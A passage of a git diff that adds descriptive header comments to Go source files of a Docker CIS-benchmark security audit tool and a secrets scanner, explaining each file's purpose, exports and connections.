| 2026 container.go + +ContainerAnalyzer inspects live running containers via the Docker API + +Fetches the full inspect response for each container and checks CIS +Section 5 controls: privileged mode, dangerous capabilities, Docker +socket and sensitive path mounts, host network/PID/IPC/UTS namespace +sharing, seccomp and AppArmor profiles, no-new-privileges flag, and +memory/CPU/PIDs resource limits. + +Key exports: + ContainerAnalyzer - implements Analyzer for live containers + NewContainerAnalyzer - constructor taking a docker.Client + +Connects to: + analyzer.go - implements Analyzer interface, uses Category constants + docker/client.go - lists and inspects containers + rules/capabilities.go - classifies cap_add entries + rules/paths.go - identifies sensitive and socket mounts + benchmark/controls.go - fetches CIS control metadata for each finding + finding.go - creates findings with CISControl references */ package analyzer diff --git a/PROJECTS/intermediate/docker-security-audit/internal/analyzer/container_test.go b/PROJECTS/intermediate/docker-security-audit/internal/analyzer/container_test.go index fef08640..057d19d0 100644 --- a/PROJECTS/intermediate/docker-security-audit/internal/analyzer/container_test.go +++ b/PROJECTS/intermediate/docker-security-audit/internal/analyzer/container_test.go @@ -1,6 +1,30 @@ /* © AngelaMos | 2026 container_test.go + +Tests: ContainerAnalyzer detection logic against JSON container inspect +fixtures + +Verifies that analyzeContainer correctly flags privileged mode, critical +and high-severity capabilities, Docker socket mounts, sensitive path +mounts, host namespace modes, missing resource limits, and writable +root filesystem. Also confirms that a secure fixture produces minimal +findings with no CRITICAL severity. + +Tests: + TestContainerAnalyzer_PrivilegedContainer - all dangerous flags detected + TestContainerAnalyzer_SecureContainer - clean container produces few +findings + TestContainerAnalyzer_TargetInfo - finding target type, name, and ID +correct + TestContainerAnalyzer_CategoryAndRemediation - CIS links and remediation +present + TestContainerAnalyzer_Comparison - privileged vs secure severity +distribution + +Connects to: + container.go - tests analyzeContainer() directly + finding.go - asserts on Severity constants and RuleID values */ package analyzer diff --git a/PROJECTS/intermediate/docker-security-audit/internal/analyzer/daemon.go b/PROJECTS/intermediate/docker-security-audit/internal/analyzer/daemon.go index c80349d6..6208fbda 100644 --- a/PROJECTS/intermediate/docker-security-audit/internal/analyzer/daemon.go +++ b/PROJECTS/intermediate/docker-security-audit/internal/analyzer/daemon.go @@ -1,6 +1,24 @@ /* -AngelaMos | 2026 +©AngelaMos | 2026 daemon.go + +DaemonAnalyzer inspects Docker daemon configuration for CIS Section 2 +violations + +Calls the Docker daemon Info endpoint and checks for seccomp support, +user namespace remapping, live restore, experimental mode, logging +driver, and cgroup driver. Each check maps to a specific CIS Section +2 control and produces a finding with remediation guidance. + +Key exports: + DaemonAnalyzer - implements Analyzer for the Docker daemon + NewDaemonAnalyzer - constructor taking a docker.Client + +Connects to: + analyzer.go - implements Analyzer interface, uses CategoryDaemon + docker/client.go - calls Info() to get daemon metadata + benchmark/controls.go - fetches CIS Section 2 controls by ID + finding.go - creates findings with CISControl references */ package analyzer diff --git a/PROJECTS/intermediate/docker-security-audit/internal/analyzer/dockerfile.go b/PROJECTS/intermediate/docker-security-audit/internal/analyzer/dockerfile.go index 3b69382b..3e9d364e 100644 --- a/PROJECTS/intermediate/docker-security-audit/internal/analyzer/dockerfile.go +++ b/PROJECTS/intermediate/docker-security-audit/internal/analyzer/dockerfile.go @@ -1,6 +1,26 @@ /* -AngelaMos | 2026 +©AngelaMos | 2026 dockerfile.go + +DockerfileAnalyzer scans Dockerfile instructions for CIS Section 4 +violations + +Parses the Dockerfile using the buildkit frontend parser and checks for: +missing USER instruction, missing or disabled HEALTHCHECK, ADD vs COPY +usage, hardcoded secrets in ENV/ARG/RUN/LABEL, implicit or explicit +:latest tags, curl-pipe-to-shell patterns, and sudo in RUN instructions. + +Key exports: + DockerfileAnalyzer - implements Analyzer for Dockerfiles + NewDockerfileAnalyzer - constructor taking file path + +Connects to: + analyzer.go - implements Analyzer interface, uses CategoryDockerfile + rules/secrets.go - DetectSecrets, IsSensitiveEnvName, +IsHighEntropyString + benchmark/controls.go - fetches CIS Section 4 controls by ID + config/constants.go - reads MinSecretLength and MinEntropyForSecret + finding.go - creates findings with line-accurate locations */ package analyzer diff --git a/PROJECTS/intermediate/docker-security-audit/internal/analyzer/image.go b/PROJECTS/intermediate/docker-security-audit/internal/analyzer/image.go index f135b68a..9712ac9d 100644 --- a/PROJECTS/intermediate/docker-security-audit/internal/analyzer/image.go +++ b/PROJECTS/intermediate/docker-security-audit/internal/analyzer/image.go @@ -1,6 +1,23 @@ /* © AngelaMos | 2026 image.go + +ImageAnalyzer inspects local Docker images for CIS Section 4 violations + +Lists all local images via the Docker API, inspects each one, and +checks for root user configuration, missing or explicitly disabled +HEALTHCHECK, and privileged port exposure. Findings reference CIS +Section 4 controls. + +Key exports: + ImageAnalyzer - implements Analyzer for local Docker images + NewImageAnalyzer - constructor taking a docker.Client + +Connects to: + analyzer.go - implements Analyzer interface, uses CategoryImage + docker/client.go - lists and inspects images + benchmark/controls.go - fetches CIS Section 4 controls by ID + finding.go - creates findings with CISControl references */ package analyzer diff --git a/PROJECTS/intermediate/docker-security-audit/internal/benchmark/controls.go b/PROJECTS/intermediate/docker-security-audit/internal/benchmark/controls.go index 44b68b39..efc9282e 100644 --- a/PROJECTS/intermediate/docker-security-audit/internal/benchmark/controls.go +++ b/PROJECTS/intermediate/docker-security-audit/internal/benchmark/controls.go @@ -1,6 +1,28 @@ /* -AngelaMos | 2026 +©AngelaMos | 2026 controls.go + +CIS Docker Benchmark control registry with all Section 1-7 controls + +Defines the Control struct and a global map populated at init time +across seven section registration functions. Controls are looked up +by ID from all analyzer packages and converted to finding.CISControl +via ToCISControl() for embedding in findings. + +Key exports: + Control - CIS control with ID, section, severity, remediation, and +references + Register, Get, All, BySection - registry access + Control.ToCISControl - converts to finding.CISControl + +Connects to: + finding.go - ToCISControl produces finding.CISControl embedded in +findings + analyzer/container.go - fetches Section 5 controls by ID + analyzer/daemon.go - fetches Section 2 controls by ID + analyzer/dockerfile.go - fetches Section 4 controls by ID + analyzer/image.go - fetches Section 4 controls by ID + main.go - listBenchmarkControls and showBenchmarkControl CLI commands */ package benchmark diff --git a/PROJECTS/intermediate/docker-security-audit/internal/config/config.go b/PROJECTS/intermediate/docker-security-audit/internal/config/config.go index 80fb30e3..a640b5a6 100644 --- a/PROJECTS/intermediate/docker-security-audit/internal/config/config.go +++ b/PROJECTS/intermediate/docker-security-audit/internal/config/config.go @@ -1,6 +1,24 @@ /* -AngelaMos | 2026 +©AngelaMos | 2026 config.go + +Scan configuration struct and target-selection helpers + +Config holds all CLI options passed to docksec and exposes methods +for interpreting them. Scan targets (containers, daemon, images, +files) are resolved here so the rest of the pipeline doesn't parse +strings. Severity filtering and fail-on threshold logic lives here +as well. + +Key exports: + Config - scan options including targets, severity filters, and output + New - creates Config with sensible defaults + +Connects to: + finding.go - resolves severity strings to Severity values + constants.go - reads DefaultWorkerCount + main.go - fields populated from cobra flags + scanner.go - passed to Scanner on construction */ package config diff --git a/PROJECTS/intermediate/docker-security-audit/internal/config/constants.go b/PROJECTS/intermediate/docker-security-audit/internal/config/constants.go index 4ad1dfb2..b8a5180d 100644 --- a/PROJECTS/intermediate/docker-security-audit/internal/config/constants.go +++ b/PROJECTS/intermediate/docker-security-audit/internal/config/constants.go @@ -1,6 +1,9 @@ /* -AngelaMos | 2026 +©AngelaMos | 2026 constants.go + +Scanner configuration constants for concurrency, rate limiting, and +timeouts */ package config diff --git a/PROJECTS/intermediate/docker-security-audit/internal/docker/client.go b/PROJECTS/intermediate/docker-security-audit/internal/docker/client.go index 0c453a02..a3bde886 100644 --- a/PROJECTS/intermediate/docker-security-audit/internal/docker/client.go +++ b/PROJECTS/intermediate/docker-security-audit/internal/docker/client.go @@ -1,6 +1,26 @@ /* © AngelaMos | 2026 client.go + +Docker API client wrapper with singleton initialization and per-call +timeouts + +Wraps the official Docker SDK client using sync.Once so all analyzers +share one connection. Every API method creates a child context with +an operation-specific timeout from config/constants.go. Provides +ping, info, container list/inspect, and image list/inspect/history. + +Key exports: + Client - wraps docker/client.Client with timeout-aware methods + NewClient - singleton constructor reading DOCKER_HOST from environment + +Connects to: + config/constants.go - reads ConnectionTimeout, InspectTimeout, +DefaultTimeout + analyzer/container.go - ListContainers, InspectContainer + analyzer/daemon.go - Info + analyzer/image.go - ListImages, InspectImage + scanner.go - constructs Client and passes it to runtime analyzers */ package docker diff --git a/PROJECTS/intermediate/docker-security-audit/internal/finding/finding.go b/PROJECTS/intermediate/docker-security-audit/internal/finding/finding.go index bc0374b6..fa622742 100644 --- a/PROJECTS/intermediate/docker-security-audit/internal/finding/finding.go +++ b/PROJECTS/intermediate/docker-security-audit/internal/finding/finding.go @@ -1,6 +1,29 @@ /* -AngelaMos | 2026 +©AngelaMos | 2026 finding.go + +Core types for security findings produced by all analyzers + +Finding is the central data type flowing through the entire pipeline. +Severity is an ordered enum (Info through Critical) with color +support for terminal output. Collection provides filtering and +aggregation over a slice of findings and is the return type of +every Analyze() call. + +Key exports: + Finding - single security issue with rule ID, severity, target, and +location + Collection - slice of findings with BySeverity, AtOrAbove, +CountBySeverity + Severity - ordered enum Info < Low < Medium < High < Critical + Target, Location, CISControl - embedded context types + +Connects to: + config.go - severity parsing and filter logic + rules/*.go - severity constants for capability/path classification + analyzer/*.go - findings created and returned as Collection + report/*.go - findings consumed by all four reporters + benchmark/controls.go - CISControl linked to findings via WithCISControl */ package finding diff --git a/PROJECTS/intermediate/docker-security-audit/internal/parser/compose.go b/PROJECTS/intermediate/docker-security-audit/internal/parser/compose.go index 4907a77d..aa856874 100644 --- a/PROJECTS/intermediate/docker-security-audit/internal/parser/compose.go +++ b/PROJECTS/intermediate/docker-security-audit/internal/parser/compose.go @@ -1,6 +1,26 @@ /* CarterPerez-dev | 2026 compose.go + +Docker Compose YAML parser that extracts services, volumes, networks, and +secrets + +Parses compose files using raw yaml.Node trees to preserve source +line numbers for accurate finding locations. All service fields +relevant to security (capabilities, mounts, environment, network_mode, +pid, ipc, security_opt, resource limits, healthcheck) are extracted +into strongly typed structs. + +Key exports: + ComposeFile - parsed compose structure with Services, Networks, Volumes, +Secrets + Service - per-service fields relevant to security analysis + ParseComposeFile, ParseComposeBytes - parse from path or raw bytes + ComposeVisitor - interface for visitor pattern + +Connects to: + visitor.go - ComposeVisitor interface and RuleContext reference these +types */ package parser diff --git a/PROJECTS/intermediate/docker-security-audit/internal/parser/dockerfile.go b/PROJECTS/intermediate/docker-security-audit/internal/parser/dockerfile.go index c18c1ef1..9f8cc891 100644 --- a/PROJECTS/intermediate/docker-security-audit/internal/parser/dockerfile.go +++ b/PROJECTS/intermediate/docker-security-audit/internal/parser/dockerfile.go @@ -1,6 +1,23 @@ /* CarterPerez-dev | 2026 dockerfile.go + +Dockerfile parser that builds a structured AST with stage and command info + +Wraps the Moby buildkit parser to add stage tracking, per-stage +instruction slicing, and multi-stage build awareness. DockerfileAST +exposes query methods (GetInstructions, HasInstruction, FinalStage) +so callers can scan specific instruction types without traversing +the raw AST. + +Key exports: + DockerfileAST - parsed Dockerfile with Stages and Commands + ParseDockerfile, ParseDockerfileReader - parse from path or io.Reader + Stage, Command - typed instruction and stage containers + DockerfileVisitor - interface for the visitor pattern + +Connects to: + visitor.go - DockerfileVisitor interface and RuleContext use these types */ package parser diff --git a/PROJECTS/intermediate/docker-security-audit/internal/parser/visitor.go b/PROJECTS/intermediate/docker-security-audit/internal/parser/visitor.go index 17184612..b6198fa2 100644 --- a/PROJECTS/intermediate/docker-security-audit/internal/parser/visitor.go +++ b/PROJECTS/intermediate/docker-security-audit/internal/parser/visitor.go @@ -1,6 +1,25 @@ /* CarterPerez-dev | 2026 visitor.go + +Rule visitor infrastructure for applying security rules against parsed +ASTs + +RuleVisitor accumulates findings by running a list of Rule +implementations against a Dockerfile or Compose AST. BaseRule, +DockerfileRule, ComposeRule, and MultiRule are composable building +blocks for implementing the Rule interface without boilerplate. + +Key exports: + RuleVisitor - runs rules and accumulates findings + Rule - interface with ID() and Check(ctx *RuleContext) + BaseRule, DockerfileRule, ComposeRule, MultiRule - embeddable rule types + RuleContext - holds the parsed AST and target passed to each check + +Connects to: + dockerfile.go - visits DockerfileAST via VisitDockerfile + compose.go - visits ComposeFile via VisitCompose + finding.go - produces finding.Collection */ package parser diff --git a/PROJECTS/intermediate/docker-security-audit/internal/proc/capabilities.go b/PROJECTS/intermediate/docker-security-audit/internal/proc/capabilities.go index 0a5edd8f..1148f33a 100644 --- a/PROJECTS/intermediate/docker-security-audit/internal/proc/capabilities.go +++ b/PROJECTS/intermediate/docker-security-audit/internal/proc/capabilities.go @@ -1,6 +1,32 @@ /* CarterPerez-dev | 2026 capabilities.go + +CapabilitySet type for parsing and inspecting Linux process capability +bitmasks + +Wraps the five Linux capability bitmasks (effective, permitted, +inheritable, bounding, ambient) with methods for testing individual +capabilities, listing active sets, and diffing against Docker's +default 14-capability set to find additions or drops. + +Key exports: + CapabilitySet - holds all five capability bitmasks with bit-level +methods + HasCapability, HasDangerousCapabilities, HasCriticalCapabilities - +checks + GetAddedCapabilities, GetDroppedDefaultCapabilities, +HasOnlyDefaultCapabilities + ParseCapabilityMask, AllCapabilityNames - parsing and enumeration +utilities + +Connects to: + rules/capabilities.go - IsDangerousCapability, IsCriticalCapability, +GetCapabilitySeverity + finding.go - uses Severity for GetCapabilitiesBySeverity threshold +checks + proc.go - CapabilitySet embedded in ProcessInfo.Capabilities + security.go - CapabilitySet embedded in SecurityProfile.Capabilities */ package proc diff --git a/PROJECTS/intermediate/docker-security-audit/internal/proc/proc.go b/PROJECTS/intermediate/docker-security-audit/internal/proc/proc.go index 97514a7f..0e76c00a 100644 --- a/PROJECTS/intermediate/docker-security-audit/internal/proc/proc.go +++ b/PROJECTS/intermediate/docker-security-audit/internal/proc/proc.go @@ -1,6 +1,27 @@ /* CarterPerez-dev | 2025 proc.go + +Linux /proc filesystem reader for process metadata, namespaces, and cgroup +info + +Reads /proc//status, cmdline, cgroup, and ns to build a +ProcessInfo struct. Supports cgroup-based container detection and +64-character hex container ID extraction. Optional fields (namespaces, +cmdline, cgroups) fail silently for graceful degradation on non-Linux +systems. + +Key exports: + ProcessInfo - process metadata including capabilities, cgroups, +namespaces + GetProcessInfo - builds ProcessInfo from /proc/ + GetContainerPID1, ListContainerProcesses - cgroup-based process +discovery + IsInContainer, ContainerID - container detection from cgroup paths + +Connects to: + proc/capabilities.go - CapabilitySet populated from status hex fields + proc/security.go - SecurityProfile builds on the same /proc data */ package proc diff --git a/PROJECTS/intermediate/docker-security-audit/internal/proc/security.go b/PROJECTS/intermediate/docker-security-audit/internal/proc/security.go index 63a92009..0616c01e 100644 --- a/PROJECTS/intermediate/docker-security-audit/internal/proc/security.go +++ b/PROJECTS/intermediate/docker-security-audit/internal/proc/security.go @@ -1,6 +1,25 @@ /* CarterPerez-dev | 2026 security.go + +SecurityProfile aggregates all security-relevant attributes of a running +process + +Reads seccomp mode, AppArmor profile, SELinux context, no_new_privs +flag, capabilities, namespaces, and root filesystem from /proc. All +reads use graceful degradation. SecurityScore() produces a 0-100 score +and GetIssues() returns human-readable problem descriptions for +runtime auditing of container processes. + +Key exports: + SecurityProfile - complete security posture of a single process + GetSecurityProfile - builds SecurityProfile from /proc/ + SecurityScore, GetIssues - scoring and issue enumeration + CheckHostNamespaceSharing, IsRunningAsRoot - standalone helpers + SeccompMode - typed enum (Disabled, Strict, Filter) + +Connects to: + proc/capabilities.go - CapabilitySet embedded and used for scoring */ package proc diff --git a/PROJECTS/intermediate/docker-security-audit/internal/report/json.go b/PROJECTS/intermediate/docker-security-audit/internal/report/json.go index 66b104bf..cf207cb4 100644 --- a/PROJECTS/intermediate/docker-security-audit/internal/report/json.go +++ b/PROJECTS/intermediate/docker-security-audit/internal/report/json.go @@ -1,6 +1,20 @@ /* -AngelaMos | 2026 +©AngelaMos | 2026 json.go + +JSON reporter that emits a structured scan result document + +Builds a top-level document with schema version, timestamp, severity +summary, and a full finding list. CISControl, Location, and References +are included when present. Output is indented JSON written via +json.Encoder with HTML escaping disabled. + +Key exports: + JSONReporter - implements Reporter for JSON output + +Connects to: + reporter.go - implements Reporter interface, returned by NewReporter + finding.go - converts Finding and Collection to JSON structures */ package report diff --git a/PROJECTS/intermediate/docker-security-audit/internal/report/junit.go b/PROJECTS/intermediate/docker-security-audit/internal/report/junit.go index 9b269244..f161ae4c 100644 --- a/PROJECTS/intermediate/docker-security-audit/internal/report/junit.go +++ b/PROJECTS/intermediate/docker-security-audit/internal/report/junit.go @@ -1,6 +1,20 @@ /* -AngelaMos | 2026 +©AngelaMos | 2026 junit.go + +JUnit XML reporter for CI/CD pipeline integration + +Groups findings by category into test suites and maps each finding +to a test case. Findings at or above INFO severity produce failure +elements. Produces standard JUnit XML consumable by GitHub Actions, +Jenkins, CircleCI, and most other CI platforms. + +Key exports: + JUnitReporter - implements Reporter for JUnit XML output + +Connects to: + reporter.go - implements Reporter interface, returned by NewReporter + finding.go - converts Finding and Collection to XML structures */ package report diff --git a/PROJECTS/intermediate/docker-security-audit/internal/report/reporter.go b/PROJECTS/intermediate/docker-security-audit/internal/report/reporter.go index e8ff53fc..14a1d4ad 100644 --- a/PROJECTS/intermediate/docker-security-audit/internal/report/reporter.go +++ b/PROJECTS/intermediate/docker-security-audit/internal/report/reporter.go @@ -1,6 +1,23 @@ /* -AngelaMos | 2026 +©AngelaMos | 2026 reporter.go + +Reporter interface and factory that dispatches to format-specific +implementations + +NewReporter selects and constructs a TerminalReporter, JSONReporter, +SARIFReporter, or JUnitReporter based on the format string. When +outputFile is empty, output goes to stdout. baseReporter holds the +shared writer and closer for the concrete implementations. + +Key exports: + Reporter - interface with Report(findings Collection) error + NewReporter - factory returning the correct implementation + +Connects to: + scanner.go - calls NewReporter with cfg.Output and cfg.OutputFile + terminal.go, json.go, sarif.go, junit.go - implement Reporter + finding.go - Report() accepts finding.Collection */ package report diff --git a/PROJECTS/intermediate/docker-security-audit/internal/report/sarif.go b/PROJECTS/intermediate/docker-security-audit/internal/report/sarif.go index c2ded3c6..a158a20c 100644 --- a/PROJECTS/intermediate/docker-security-audit/internal/report/sarif.go +++ b/PROJECTS/intermediate/docker-security-audit/internal/report/sarif.go @@ -1,6 +1,21 @@ /* -AngelaMos | 2026 +©AngelaMos | 2026 sarif.go + +SARIF 2.1.0 reporter for GitHub Advanced Security and IDE integration + +Builds a SARIF run with deduplicated rule entries and individual result +records. Severity maps to SARIF levels (error/warning/note) and numeric +security-severity scores. Container targets use docker:// URIs; file +targets use their path directly. Output is capped at SARIFMaxResults. + +Key exports: + SARIFReporter - implements Reporter for SARIF output + +Connects to: + reporter.go - implements Reporter interface, returned by NewReporter + config/constants.go - reads SARIFMaxResults + finding.go - converts Finding and Collection to SARIF structures */ package report diff --git a/PROJECTS/intermediate/docker-security-audit/internal/report/terminal.go b/PROJECTS/intermediate/docker-security-audit/internal/report/terminal.go index d0d2a3fd..ae54abc4 100644 --- a/PROJECTS/intermediate/docker-security-audit/internal/report/terminal.go +++ b/PROJECTS/intermediate/docker-security-audit/internal/report/terminal.go @@ -1,6 +1,21 @@ /* -AngelaMos | 2026 +©AngelaMos | 2026 terminal.go + +Terminal reporter with ANSI color-coded severity output and grouped +findings + +Groups findings by category, sorts each group from highest to lowest +severity, and prints each finding with colored severity labels. ANSI +codes are stripped when writing to a file. Prints a severity count +summary after all findings. + +Key exports: + TerminalReporter - implements Reporter for terminal output + +Connects to: + reporter.go - implements Reporter interface, returned by NewReporter + finding.go - reads Severity, Category, Target, Location, and Remediation */ package report diff --git a/PROJECTS/intermediate/docker-security-audit/internal/rules/capabilities.go b/PROJECTS/intermediate/docker-security-audit/internal/rules/capabilities.go index 104f32cd..9cdfed1b 100644 --- a/PROJECTS/intermediate/docker-security-audit/internal/rules/capabilities.go +++ b/PROJECTS/intermediate/docker-security-audit/internal/rules/capabilities.go @@ -1,6 +1,27 @@ /* -AngelaMos | 2026 +©AngelaMos | 2026 capabilities.go + +Linux capability definitions with severity ratings and fast lookup +functions + +Capabilities maps all 41 Linux capabilities (CAP_CHOWN through +CAP_CHECKPOINT_RESTORE) to severity ratings and descriptions. Pre- +computed sets (dangerousCapabilities, criticalCapabilities) enable +O(1) lookups during scanning without iterating the full map. + +Key exports: + Capabilities - map of capability name to severity and description + IsDangerousCapability - true if severity >= HIGH + IsCriticalCapability - true if severity == CRITICAL + GetCapabilityInfo, GetCapabilitySeverity - lookup by name + +Connects to: + finding.go - uses Severity constants + analyzer/container.go - classifies cap_add entries from container +inspect + analyzer/compose.go - classifies cap_add entries from compose services + proc/capabilities.go - uses IsDangerousCapability, IsCriticalCapability */ package rules diff --git a/PROJECTS/intermediate/docker-security-audit/internal/rules/paths.go b/PROJECTS/intermediate/docker-security-audit/internal/rules/paths.go index 72cdfc0f..89bc2853 100644 --- a/PROJECTS/intermediate/docker-security-audit/internal/rules/paths.go +++ b/PROJECTS/intermediate/docker-security-audit/internal/rules/paths.go @@ -1,6 +1,26 @@ /* -AngelaMos | 2026 +©AngelaMos | 2026 paths.go + +Sensitive host path and container socket definitions with severity ratings + +DockerSocketPaths covers container runtime sockets (Docker, containerd, +CRI-O, Podman, CRI-dockerd, rkt). SensitiveHostPaths covers system +config, kernel interfaces, CI/CD runner dirs, cloud agent dirs, +secrets managers, databases, and more. Lookups use pre-computed hash +sets and prefix matching for consistent O(1) checks. + +Key exports: + DockerSocketPaths - map of container runtime socket paths with severity + SensitiveHostPaths - map of sensitive host filesystem paths with +severity + IsSensitivePath, IsDockerSocket - fast boolean checks + GetPathInfo, GetPathSeverity - retrieve description and severity by path + +Connects to: + finding.go - uses Severity constants + analyzer/container.go - checks container mount sources + analyzer/compose.go - checks compose volume mount sources */ package rules diff --git a/PROJECTS/intermediate/docker-security-audit/internal/rules/secrets.go b/PROJECTS/intermediate/docker-security-audit/internal/rules/secrets.go index 9c25be3d..6018cebb 100644 --- a/PROJECTS/intermediate/docker-security-audit/internal/rules/secrets.go +++ b/PROJECTS/intermediate/docker-security-audit/internal/rules/secrets.go @@ -1,6 +1,29 @@ /* -AngelaMos | 2026 +©AngelaMos | 2026 secrets.go + +Secret detection patterns, sensitive env names, and Shannon entropy +analysis + +SecretPatterns covers 80+ regex patterns for cloud providers (AWS, +GCP, Azure), CI/CD platforms, payment processors, AI APIs, databases, +and generic credentials. SensitiveEnvNames is a lookup set for +variable names that should never hold hardcoded values. Entropy +functions catch secrets that don't match any known pattern. + +Key exports: + SecretPatterns - slice of compiled regex patterns with type and +description + SensitiveEnvNames - set of environment variable names to flag + DetectSecrets - scans a string against all patterns + IsSensitiveEnvName - checks against known sensitive names with substring +fallback + CalculateEntropy, IsHighEntropyString - Shannon entropy detection + +Connects to: + analyzer/dockerfile.go - scans ENV, ARG, RUN, and LABEL instructions + analyzer/compose.go - scans service environment variable values + config/constants.go - reads MinSecretLength and MinEntropyForSecret */ package rules diff --git a/PROJECTS/intermediate/docker-security-audit/internal/scanner/scanner.go b/PROJECTS/intermediate/docker-security-audit/internal/scanner/scanner.go index 2e53ea5f..4a5a954c 100644 --- a/PROJECTS/intermediate/docker-security-audit/internal/scanner/scanner.go +++ b/PROJECTS/intermediate/docker-security-audit/internal/scanner/scanner.go @@ -1,6 +1,29 @@ /* -AngelaMos | 2026 +©AngelaMos | 2026 scanner.go + +Main scan orchestrator that builds, runs, filters, and reports all +analyzer results + +Assembles analyzers from config targets, runs them concurrently with +an errgroup worker pool and token bucket rate limiter, merges findings, +applies severity and CIS control filters, calls the reporter, and +checks the fail-on threshold for CI exit codes. ExitError signals +to main.go that findings exceeded the configured threshold. + +Key exports: + Scanner - orchestrator with Run() driving the full pipeline + New - creates Scanner with Docker client, slog logger, limiter, and +reporter + ExitError - typed error carrying an exit code for the fail-on feature + +Connects to: + config/config.go - all scan options and filter logic + config/constants.go - MaxWorkers, RateLimitPerSecond, MaxTotalFindings + docker/client.go - Docker client passed to runtime analyzers + analyzer/*.go - constructs and runs each Analyzer + report/reporter.go - NewReporter called with output format and file + finding.go - Collection filtered and passed to Reporter */ package scanner diff --git a/PROJECTS/intermediate/docker-security-audit/tests/e2e/e2e_test.go b/PROJECTS/intermediate/docker-security-audit/tests/e2e/e2e_test.go index 483aa337..e919852c 100644 --- a/PROJECTS/intermediate/docker-security-audit/tests/e2e/e2e_test.go +++ b/PROJECTS/intermediate/docker-security-audit/tests/e2e/e2e_test.go @@ -1,6 +1,27 @@ /* -AngelaMos | 2026 +©AngelaMos | 2026 e2e_test.go + +End-to-end tests that run real analyzers against testdata fixtures + +Exercises DockerfileAnalyzer and ComposeAnalyzer through the public +Analyze() method using fixtures from testdata/. Tests cover severity +expectations, finding counts, required field completeness, severity +filtering, and file-not-found error handling. All tests skip in +short mode. + +Tests: + TestE2E_DockerfileAnalysis - bad-secrets and good-security Dockerfiles + TestE2E_ComposeAnalysis - bad-docker-socket and good-production compose + TestE2E_MultipleFiles - sequential analysis of mixed file types + TestE2E_FindingProperties - all required finding fields present + TestE2E_SeverityFiltering - BySeverity and AtOrAbove filter correctness + TestE2E_FileNotFound - proper errors returned for missing files + +Connects to: + analyzer/dockerfile.go - DockerfileAnalyzer under test + analyzer/compose.go - ComposeAnalyzer under test + finding.go - asserts on Collection methods and Severity values */ package e2e_test diff --git a/PROJECTS/intermediate/docker-security-audit/tests/integration/compose_test.go b/PROJECTS/intermediate/docker-security-audit/tests/integration/compose_test.go index 497b2e16..e726d710 100644 --- a/PROJECTS/intermediate/docker-security-audit/tests/integration/compose_test.go +++ b/PROJECTS/intermediate/docker-security-audit/tests/integration/compose_test.go @@ -1,6 +1,34 @@ /* -AngelaMos | 2026 +©AngelaMos | 2026 compose_test.go + +Integration tests for ComposeAnalyzer against all testdata compose +fixtures + +Each function targets a specific bad-*.yml or good-*.yml fixture and +asserts expected findings at correct severities. Covers Docker socket +mounts, privileged mode, dangerous capabilities, sensitive filesystem +mounts, hardcoded secrets, missing resource limits, and a clean +production-grade configuration. + +Tests: + TestComposeAnalyzer_BadDockerSocket - socket, caps, secrets, host +network + TestComposeAnalyzer_BadPrivileged - privileged mode, pid/ipc host, +sensitive mounts + TestComposeAnalyzer_BadCaps - critical and high capabilities all +detected + TestComposeAnalyzer_BadMounts - runtime sockets, /etc, /proc, /sys, /dev + TestComposeAnalyzer_BadSecrets - AWS, database, and API keys in +environment + TestComposeAnalyzer_BadNoLimits - missing memory, CPU, and PIDs limits + TestComposeAnalyzer_GoodProduction - clean file produces no CRITICAL +findings + TestComposeAnalyzer_AllFiles - table-driven coverage across all fixtures + +Connects to: + analyzer/compose.go - ComposeAnalyzer under test + finding.go - asserts on Severity, RuleID, and Collection filtering */ package integration_test diff --git a/PROJECTS/intermediate/docker-security-audit/tests/integration/dockerfile_test.go b/PROJECTS/intermediate/docker-security-audit/tests/integration/dockerfile_test.go index 92515858..2fc7b4fd 100644 --- a/PROJECTS/intermediate/docker-security-audit/tests/integration/dockerfile_test.go +++ b/PROJECTS/intermediate/docker-security-audit/tests/integration/dockerfile_test.go @@ -1,6 +1,30 @@ /* -AngelaMos | 2026 +©AngelaMos | 2026 dockerfile_test.go + +Integration tests for DockerfileAnalyzer against all testdata Dockerfile +fixtures + +Each function targets a specific fixture and asserts expected findings +at correct rule IDs and severities. Covers secret detection, missing +USER and HEALTHCHECK, :latest tags, ADD vs COPY, and clean best- +practice Dockerfiles that should produce minimal findings. + +Tests: + TestDockerfileAnalyzer_BadSecrets - AWS, GitHub, DB, Stripe, OpenAI +secrets + TestDockerfileAnalyzer_BadRootUser - missing USER and HEALTHCHECK + TestDockerfileAnalyzer_BadPrivileged - :latest tag and missing USER + TestDockerfileAnalyzer_BadAddCommand - ADD vs COPY and ADD with URL + TestDockerfileAnalyzer_GoodMinimal - no critical or high findings + TestDockerfileAnalyzer_GoodSecurity - best-practice Dockerfile +near-clean + TestDockerfileAnalyzer_AllFiles - table-driven coverage across all +fixtures + +Connects to: + analyzer/dockerfile.go - DockerfileAnalyzer under test + finding.go - asserts on Severity, RuleID, and Collection methods */ package integration_test diff --git a/PROJECTS/intermediate/secrets-scanner/cmd/portia/main.go b/PROJECTS/intermediate/secrets-scanner/cmd/portia/main.go index 6e096c0a..9cdc0422 100644 --- a/PROJECTS/intermediate/secrets-scanner/cmd/portia/main.go +++ b/PROJECTS/intermediate/secrets-scanner/cmd/portia/main.go @@ -1,5 +1,9 @@ -// ©AngelaMos | 2026 -// main.go +/* +©AngelaMos | 2026 +main.go + +Entry point: delegates to cli.Execute +*/ package main diff --git a/PROJECTS/intermediate/secrets-scanner/internal/cli/config.go b/PROJECTS/intermediate/secrets-scanner/internal/cli/config.go index e1a8dd32..33951f48 100644 --- a/PROJECTS/intermediate/secrets-scanner/internal/cli/config.go +++ b/PROJECTS/intermediate/secrets-scanner/internal/cli/config.go @@ -1,5 +1,19 @@ -// ©AngelaMos | 2026 -// config.go +/* +©AngelaMos | 2026 +config.go + +"config" subcommand with rules and show sub-subcommands + +Implements "portia config rules" to list all registered detection rules with +severity coloring, and "portia config show" to print the active flag and config +values. Both commands are read-only introspection tools with no side effects. + +Connects to: + cli/root.go - registered as configCmd via rootCmd.AddCommand + rules/registry.go - calls NewRegistry() and RegisterBuiltins() + ui/color.go - uses RedBold, Red, Yellow, Cyan, White, Diamond for display + ui/symbol.go - uses Shield, Arrow, Diamond constants +*/ package cli diff --git a/PROJECTS/intermediate/secrets-scanner/internal/cli/git.go b/PROJECTS/intermediate/secrets-scanner/internal/cli/git.go index 0e9d7949..86445829 100644 --- a/PROJECTS/intermediate/secrets-scanner/internal/cli/git.go +++ b/PROJECTS/intermediate/secrets-scanner/internal/cli/git.go @@ -1,5 +1,21 @@ -// ©AngelaMos | 2026 -// git.go +/* +©AngelaMos | 2026 +git.go + +"git" subcommand for scanning git repository history + +Implements "portia git [repo-path]" which scans commit history (or only staged 